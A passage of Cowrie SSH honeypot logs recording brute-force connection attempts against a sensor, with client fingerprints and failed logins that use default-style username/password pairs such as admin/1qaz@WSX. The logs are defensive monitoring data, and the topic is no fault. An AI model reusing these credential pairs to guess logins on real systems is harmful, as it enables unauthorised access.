0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:25.907163Z","src_ip":"192.109.200.78","session":"a9c596d0c955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55912,"dst_ip":"159.203.135.109","dst_port":22,"session":"52a363009dd8","protocol":"ssh","message":"New connection: 159.203.92.129:55912 (159.203.135.109:22) [session: 52a363009dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.024981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.029840Z","src_ip":"159.203.92.129","session":"52a363009dd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.037944Z","src_ip":"159.203.92.129","session":"52a363009dd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"MS2020","password":"123456","message":"login attempt [MS2020/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.063722Z","src_ip":"159.203.92.129","session":"52a363009dd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc","message":"login attempt [minecraft/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.448111Z","src_ip":"192.109.200.78","session":"a9c596d0c955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:26.557559Z","src_ip":"176.65.139.95","session":"205881b86368","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:27.070518Z","src_ip":"159.203.92.129","session":"52a363009dd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:27.534587Z","src_ip":"192.109.200.78","session":"a9c596d0c955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59974,"dst_ip":"159.203.135.109","dst_port":22,"session":"9339889d8865","protocol":"ssh","message":"New connection: 192.109.200.78:59974 (159.203.135.109:22) [session: 9339889d8865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:30.701262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:30.788324Z","src_ip":"192.109.200.78","session":"9339889d8865","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:30.792004Z","src_ip":"192.109.200.78","session":"9339889d8865","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:31.164433Z","src_ip":"192.109.200.78","session":"9339889d8865","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60242,"dst_ip":"159.203.135.109","dst_port":22,"session":"52413146d5fd","protocol":"ssh","message":"New connection: 176.65.139.95:60242 (159.203.135.109:22) [session: 52413146d5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:31.521559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:31.528602Z","src_ip":"176.65.139.95","session":"52413146d5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:31.643164Z","src_ip":"176.65.139.95","session":"52413146d5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:31.984975Z","src_ip":"176.65.139.95","session":"52413146d5fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:32.248241Z","src_ip":"192.109.200.78","session":"9339889d8865","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:33.082529Z","src_ip":"176.65.139.95","session":"52413146d5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59998,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7c874853a9f","protocol":"ssh","message":"New connection: 192.109.200.78:59998 (159.203.135.109:22) [session: e7c874853a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:33.980824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:33.985381Z","src_ip":"192.109.200.78","session":"e7c874853a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:34.068562Z","src_ip":"192.109.200.78","session":"e7c874853a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hamed","password":"hamed","message":"login attempt [hamed/hamed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:34.316107Z","src_ip":"192.109.200.78","session":"e7c874853a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:35.400865Z","src_ip":"192.109.200.78","session":"e7c874853a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":51298,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fca9ced7167","protocol":"ssh","message":"New connection: 80.94.92.186:51298 (159.203.135.109:22) [session: 9fca9ced7167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:36.871744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:37.030934Z","src_ip":"80.94.92.186","session":"9fca9ced7167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:37.034879Z","src_ip":"80.94.92.186","session":"9fca9ced7167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":60024,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e18b8c04fbb","protocol":"ssh","message":"New connection: 192.109.200.78:60024 (159.203.135.109:22) [session: 3e18b8c04fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:37.848256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:37.852251Z","src_ip":"192.109.200.78","session":"3e18b8c04fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:37.935769Z","src_ip":"192.109.200.78","session":"3e18b8c04fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60252,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bb21caeca8f","protocol":"ssh","message":"New connection: 176.65.139.95:60252 (159.203.135.109:22) [session: 3bb21caeca8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.091798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.097055Z","src_ip":"176.65.139.95","session":"3bb21caeca8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.181631Z","src_ip":"176.65.139.95","session":"3bb21caeca8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.192683Z","src_ip":"192.109.200.78","session":"3e18b8c04fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.308806Z","src_ip":"80.94.92.186","session":"9fca9ced7167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:38.456134Z","src_ip":"176.65.139.95","session":"3bb21caeca8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:39.276989Z","src_ip":"192.109.200.78","session":"3e18b8c04fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:39.533576Z","src_ip":"80.94.92.186","session":"9fca9ced7167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:39.550066Z","src_ip":"176.65.139.95","session":"3bb21caeca8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":56268,"dst_ip":"159.203.135.109","dst_port":22,"session":"3457e58a9db4","protocol":"ssh","message":"New connection: 192.109.200.78:56268 (159.203.135.109:22) [session: 3457e58a9db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:42.079773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:42.085062Z","src_ip":"192.109.200.78","session":"3457e58a9db4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:42.169514Z","src_ip":"192.109.200.78","session":"3457e58a9db4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qaz@WSX","message":"login attempt [admin/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:42.422892Z","src_ip":"192.109.200.78","session":"3457e58a9db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:07:43.602318Z","src_ip":"192.109.200.78","session":"3457e58a9db4","protocol":"ssh"}
